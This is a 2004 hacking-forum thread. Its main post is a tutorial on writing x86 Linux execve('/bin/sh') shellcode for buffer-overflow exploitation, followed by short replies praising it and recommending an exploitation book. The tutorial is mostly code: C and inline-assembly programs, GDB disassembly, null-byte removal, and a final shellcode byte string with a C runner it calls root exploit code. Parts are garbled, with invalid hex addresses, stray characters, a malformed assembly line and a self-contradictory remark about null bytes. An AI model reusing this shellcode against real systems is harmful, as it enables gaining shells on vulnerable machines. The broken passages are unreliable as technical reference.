1 - Legal notes 2 - Introduction 3 - General knowledges 4 - Shellcoding 4.1 - Part one 4.2 - Part two 4.3 - Part three
[1] Legal notes =============== ? The BlackAngels staff refuse all responsabilities for an incorrect or illegal use of the informations supplied with this paper or for eventual damages to others systems. This paper has been wrote in the respect of the Article 21 ( Italian Constitution ). ? ? [2] Introduction ================ ? This paper will introduce the reader to the shellcoding and the study of buffer overflows; are required a Linux system ( with GCC and GDB ), and a superficial knowledge of C and ASM programming. We will talk about shellcodes x86 for Linux and i will explain you how to write a simple rootshell ( Note : shellcodes for Linux are different from BSD or Windows shellcodes, so they will be used only on Linux systems ). ? ? [3] General knowledges ====================== ? A buffer is a static array ( whit a prefixed size ), that is loaded on the stack. We have a buffer overflow, when there is an array's data discharge; that appens when there are programming error, infact a lot of programs don't check variables size. We will insert the shellcode in the stack with a strings copy function, called STRCPY and we will execute /BIN/SH whit the function EXECVE. ( Note : shellcodes can use the 0, because for the STRCPY function, the end of a string is identified by a 0. ) ? ? [4.1] Shellcoding ================= ? For first, we will write a simple C program that execute /BIN/SH, using the EXECVE function ( for more informations : man execve ) : ? shell1.c ? void main(){ char *sh[2]; sh[0]="/bin/sh"; sh[1]=0; execve(sh[0],sh,0); } ? This simple program execute /BIN/SH. Now we know that EXECVE require : ? [a] The string whit the command to execute [b] The pointer to an array, whit a parameter to pass ( in this case 0 ) [c] The ambient's parameters ( in this case NULL ) ? Compile now the code with "-static" option and launch GDB : ? [nemesis@localhost]$ gcc -s shell1.c -o shell [nemesis@localhost]$ gdb shell ? (gdb) disas main Dump of assembler code for function main: ? 0x804dhdc <main>: push %ebp 0x804dhdd <main+1>: mov $0x0,%eax 0x804dhe2 <main+6>: mov %esp,%ebp 0x804dhe4 <main+8>: ??sub $0x10,%esp 0x804dhe7 <main+11>: push %edi 0x804dhe8 <main+12>: push %ebx 0x804dhe9 <main+13>: mov 0x8(%ebp),%edi 0x804dhec <main+16>: test %eax,%eax 0x804dhee <main+18>: je 0x804cff5 <main+25> 0x804dhf0 <main+20>: call 0x0 0x804dhf5 <main+25>: mov 0xc(%ebp),%ecx 0x804dhf8 <main+28>: mov 0x10(%ebp),%edx 0x804dhfb <main+31>: push %ebx 0x804dhfc <main+32>: mov %edi,%ebx 0x804dhfe <main+34>: mov $0xb,%eax 0x804e003 <main+39>: int $0x80 ? End of assembler dump. ? To realize our shellcode we will use the strings : ? 0x804dhe9 <main+13>: mov 0x8(%ebp),%edi <- [ The string's address "/bin/sh", is placed in EDI ] 0x804dhf5 <main+25>: mov 0xc(%ebp),%ecx <- [ "sh" address is placed in ECX ] 0x804dhf8 <main+28>: mov 0x10(%ebp),%edx <- [ "NULL" is placed in EDX ] 0x804dhfb <main+31>: push %ebx 0x804dhfc <main+32>: mov %edi,%ebx 0x804dhfe <main+34>: mov $0xb,%eax <- [ Start EXECVE ] 0x804e003 <main+39>: int $0x80 ? So our shellcode pass three parameters and start the EXECVE. ? ? [4.2] Shellcoding ================= ? Now we will place our code on the stack, but we have to found the correct address where the code will be saved. To do this we put the string ( "/bin/sh" ), at the end of the code and to save this string, we use a JMP code at the begin of the code and a CALL code before the string, so the string address will be saved on the stack and it could be used with POPL. ? shell2.c ? void main(){ __asm__("jmp end \n" "begin: popl %esi \n" <- [ ESI contain the string ] "movl %esi,0x8(%esi) \n" <- [ Copy the string in the second parameter ] "movl $0x0,0xc(%esi) \n" <- [ Put a 0 in the third parameter ] "movb $0x0,0x7(%esi) \n" <- [ Place a 0 at th end of the string ] "movl %esi,%ebx \n" <- [ Pass address for EXECVE ] "leal %0x8(%esi),%ecx \n" <- [ Pass address for EXECVE ] "leal %0xc(%esi),%edx \n" <- [ Pass address for EXECVE ] "movl $0xb,%eax \n" <- [ Call EXECVE ] "int $0x80 \n" "end: call begin \n" ".string \"/bin/sh\" \n"); } ? ? [4.3] Shellcoding ================= ? When we have compiled shell2.c, and we have decompiled it with GDB, we will have a result like this : ? 0x804dhb7?<main+3>:?????0xe9 0x804dhb8?<main+4>:?????0x62 0x804dhb9?<main+5>:?????0x7c 0x804dhba?<main+6>:?????0xfb 0x804dhbb?<main+7>:?????0xf7 0x804dhbc?<main+8>:?????0x5e ????????????????????????????????????????????? 0x804dhbd?<main+9>:?????0x89 0x804dhbe?<main+10>:????0x76 ????????????????????? 0x804dhbf?<main+11>:????0x08 0x804dhc0?<main+12>:????0xc7 0x804dhc1?<main+13>:????0x46 0x804dhc2?<main+14>:????0x0c 0x804dhc3?<main+15>:????0x00?* 0x804dhc4?<main+16>:????0x00 * 0x804dhc5?<main+17>:????0x00 * ???????????????????????????? 0x804dhc6?<main+18>:????0x00 * 0x804dhc7?<main+19>:????0xc6 0x804dhc8?<main+20>:????0x46 0x804dhc9?<main+21>:????0x07 0x804dhca?<main+22>:????0x00?* ?????????????????????????????????? 0x804dhcb?<main+23>:????0x89 0x804dhcb?<main+23>:????0x89 0x804dhcc?<main+24>:????0xf3 0x804dhcd?<main+25>:????0x8d 0x804dhce?<main+26>:????0x4e ?????????????????????????????????????????????????????????????????????????????????? 0x804dhcf?<main+27>:????0x08 0x804dhd0?<main+28>:????0x80 ?????????????????????????????????????????????????????????? 0x804dhd1?<main+29>:????0x56 0x804dhd2?<main+30>:????0x0c ???????????????????????????????? 0x804dhd3?<main+31>:????0xb8 0x804dhd4?<main+32>:????0x0b ????? 0x804dhd5?<main+33>:????0x00?* 0x804dhd6?<main+34>:????0x00 * 0x804dhd6?<main+34>:????0x00 * ???????????????????????????????????????????????????????????????????? 0x804dhd7?<main+35>:????0x00 * 0x804dhd8?<main+36>:????0xcd ??????? 0x804dhd9?<main+37>:????0x80 0x804dhda?<main+38>:????0xe8 0x804dhdb?<main+39>:????0xfe ??????????????????????????????????????????????? 0x804dhdc?<main+40>:????0x7b 0x804dhdd?<main+41>:????0xfb ????????????? 0x804dhde?<main+42>:????0xf7 0x804dhdf?<main+43>:????0x2f 0x804dhe0?<main+44>:????0x62 0x804dhe1?<main+45>:????0x69 0x804dhe2?<main+46>:????0x6e ???????????????????????? 0x804dhe3?<main+47>:????0x2f 0x804dhe4?<main+48>:????0x73 0x804dhe5?<main+49>:????0x68 ? Everything is ok, but there is a big problem; the 0x00 ( * ) identify a 0 ( the end of a string ), so we have to cancel all 0. To do this we can use the XOR ( exclusive or ), then we have to insert in the code the strings : ? [a] "xorl %eax,%eax \n" [b] "movb %al,0x7(%esi) \n" [c] "movl %eax,0xc(%esi \n" [d] "movb $0xb,%al \n" <- [ This will replace the string "movl $0xb,$eax \n" ] ? Now our shellcode will be like this : ? shell3.c ? void main(){ __asm__("jmp end \n" "begin: popl %esi \n" "movl %esi,0x8(%esi) \n" "xorl %eax,%eax \n" "movb %al,0x7(%esi) \n" "movl %eax,0xc(%esi \n" "movl %esi,%ebx \n" "leal %0x8(%esi),%ecx \n" "leal %0xc(%esi),%edx \n" "movb $0xb,%al \n" "int $0x80 \n" "end: call begin \n" ".string \"/bin/sh\" \n"); } ? Now we have deleted all 0, then we can compile the code with GCC and decompile it with GDB; this time the result will be different. Now we can take all codes from the GDB result, to realize our shellcode : ? char shellcode[]= "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\" "\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\" "\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\" "\x73\x68\"; ? To use this shellcode, we can code a simple C program, like this : ? unsigned char shellcode[]= "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\" "\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\" "\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\" "\x73\x68\"; ? int?main(){ void?(*S)(); ???????????????? S?=?(void?*)?shellcode; printf("%dn",?strlen(shellcode)); S(); } ? With this simple root exploit code, i close this paper. Remember : Never test your shellcodes or exploits on others system, without administrator's authorization. Also a simple portscanning is considered an attack, then legal offence. For more informations send me a message to : nemesis[at]blackangels.it Thank you for reading this paper.
aapje
Mar 20 2004, 01:31 PM
nice paper, thankyou, i im still learning about assembly
zergas
Mar 20 2004, 02:32 PM
nice, very nice thankx
tweakz20
Mar 20 2004, 03:53 PM
wow that stuff gets confusing.... nice paper!!
shaun2k2
Mar 20 2004, 04:12 PM
Nice article, thanks for posting .
-Shaun.
BuzzDee
Mar 20 2004, 04:42 PM
very good article! thx!
but do u have something like that for windows?
brOmstar
Mar 20 2004, 06:54 PM
nice article
i set up rh9 on my vmware on w2k to check this out buzzDee =)
It looks so simple but it's not. When I have time this week I'm gonna try some things with this tutorial. THx m8
pr0t0type
Mar 23 2004, 11:47 AM
Thanks m8. I'm slowly learning this stuff so any info is appreciated
For anyone interested in this stuff I can recomend a new book I got, Hacking: The Art of Exploitation. The first half is almost 100% dedicated to exploit coding with some nice easy practical examples at hte start moving on to exploiting non-exec stacks (open-bsd) and writing alpha encoded shellcode to get past IDS. A very good book.
Wow, gr8 tut dude. Gonna try some of this this week.
shaun2k2
Mar 23 2004, 12:42 PM
I agree, "Hacking: The art of exploitation" is an awesome book - so much so, that I actually wrote the review on <http://www.amazon.co.uk/exec/obidos/ASIN/1593270070/ref=pd_ecc_rvi_1/202-3680162-9801407>, posting by "dcolleyuk"
It really is a great book. If you want to be a hacker, you must have this book.
-Shaun.
SET_coo
Mar 25 2004, 09:49 PM
i have been getting this in my apache logs over the past couple of days. What is it? (obviously a buffer overflow...):
i'm no expert with shell code (total n00b ) but it looks weird, loads of nop's at the end and the shellcode is just \xb1\x02 repeated.
I have a feeling IIS Webdav had a SEARCH vuln but i don't think apache had a similar vuln, probably some noob running retina against your whole subnet.
If anyone knows what the shellcode does and how to decrypt XOR'd shellcode I'd like to know.
easternerd
Mar 26 2004, 07:10 PM
thankyou that was a great article. Hacking: The Art of Exploitation - yes i too agree.. its a great book.. though small.. has got so much of info in each page.. goes from beginners to advanced exploitation
This article explains well how the PE executable tables can be used to extract function addresses. I read this yesterday and was immediately able to write a generic win32 portbind from scratch, so I have proof that it's the only document you need on this particular method :-)
-Peter
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.